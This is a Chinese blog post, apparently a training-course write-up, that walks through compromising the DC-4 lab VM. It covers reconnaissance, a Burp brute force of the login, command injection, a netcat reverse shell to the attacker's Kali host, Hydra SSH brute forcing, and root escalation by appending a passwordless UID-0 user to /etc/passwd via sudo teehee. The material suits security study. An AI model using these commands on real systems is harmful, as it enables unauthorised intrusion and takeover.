当前位置: 首页 > news >正文

网络安全实训第五天(主机系统渗透)

1 信息收集

  • 安装完成DC-4靶机后网络调成NAT模式,并运行

在这里插入图片描述


  • 在kali机中使用arp扫描获取靶机的IP
    命令:sudo arp-scan -l
    在这里插入图片描述

  • 根据获取到的IP打开网站

在这里插入图片描述


  • 使用nmap获取到靶机的服务和操作系统信息
    命令:sudo nmap -O -sV IP
    在这里插入图片描述

  • 使用dirsearch获取网站结构信息
    命令:sudo dirsearch -u IP

在这里插入图片描述


  • 可以使用AWVS对靶机IP进行扫描,查看相关信息

在这里插入图片描述


  • 可以查看到网站结构和漏洞信息

在这里插入图片描述


2 使用Burpsuite破解密码

  • 使用BP截获登录请求,转发到轰炸模块,高亮需要破解的内容,并设置载荷

在这里插入图片描述

  • 破解后查看报文长度判断成功状态,获取密码happy
    在这里插入图片描述

3 使用命令执行漏洞

  • 使用BP拦截Run请求,查看内容,发现执行的是radio的内容

在这里插入图片描述

  • 使用whoami查看权限

在这里插入图片描述


  • 使用pwd查看当前所在的目录

在这里插入图片描述

  • 对命令进行URL编码
    在这里插入图片描述

  • 将编码后的命令赋值给radio
    在这里插入图片描述

4 使用反弹shell技术

  • 在kali端监听1234端口
    命令:nc -lnvp 1234
    在这里插入图片描述

  • 查看kali机的IP地址
    在这里插入图片描述

  • 对命令进行编码操作
    命令:nc IP 1234 -e /bin/sh

在这里插入图片描述


  • 赋值给radio并发送建立连接
    在这里插入图片描述

  • 返回kali端查看连接状态
    在这里插入图片描述

  • 使用python建立真正的shell访问终端
    命令:python -c ‘import pty;pty.spawn(“/bin/bash”)’在这里插入图片描述


5 使用Hydra协议爆破技术

  • 进入到jim用户的backups目录下,查看到存在old-passwords.bak文件

在这里插入图片描述


  • 将bak文件下载到kali机中
    命令:python -m SimpleHTTPServer

在这里插入图片描述


  • 访问IP:8000,下载文件

在这里插入图片描述


  • 使用Hydra爆破密码
    命令:
sudo hydra -l jim -P old-passwords.bak ssh://IP -vV

在这里插入图片描述


  • 获取到jim的密码:jibril04

在这里插入图片描述


6 使用SSH登录系统

  • 使用ssh登录到jim
    命令:ssh jim@IP
    在这里插入图片描述

  • 查看用户目录下的mbox文件
    在这里插入图片描述

  • 查看/var/mail/jim文件内容获取到charles的密码:^xHhA&hvim0y

在这里插入图片描述


  • 使用su登录用户charles
    在这里插入图片描述

7 使用提权技术

  • 进入到charles用户后使用sudo查看不需要密码就可以执行的命令
    在这里插入图片描述

  • 使用命令添加用户wjr,并使用su登录
    命令:
echo ‘wjr::0:0:wjr,,,:/home/wjr:/bin/bash’ | sudo teehee -a /etc/passwd

在这里插入图片描述


  • 具体参数解释如下

在这里插入图片描述


8 获取flag值

  • 成功获取到/root文件夹中flag.txt中的内容

在这里插入图片描述


http://www.mrgr.cn/news/1578.html

相关文章:

  • DAX(Data Analysis Expressions)数据建模底层原理是什么?BI分析工具的底层及应用场景的分析
  • 节省IO的小技巧:GD32 MCU如何使用一个GPIO实现串口半双工收发
  • Vue 3中deep属性的深度解析:ref与reactive的不同表现
  • Golang | Leetcode Golang题解之第352题将数据流变为多个不相交区间
  • 16:【stm32】I2C的使用一:I2C片上外设的使用
  • 记录一次edu web端渗透测试实录
  • C#与其它编程语言有什么区别,以及相关优势有哪些
  • Windows禁止应用联网
  • Awesome-Chinese-LLM:收集和梳理中文LLM相关的开源模型、应用、数据集及教程等资料
  • Android about event log
  • Java设计模式之中介者模式
  • EmguCV学习笔记 VB.Net 3.1 直线
  • python工具--mysql2doris的datax json生成工具
  • C语言整数溢出的问题
  • 智能驾驶时代的中控屏UI设计创新
  • android13隐藏调节声音进度条下面的设置按钮
  • 开放式耳机哪种好用?开放式种草测评!
  • 网络热门编程项目导学:尚医通
  • 【C++深度探索】unordered_set、unordered_map封装
  • 全栈笔记_浏览器工作原理篇(浏览器架构)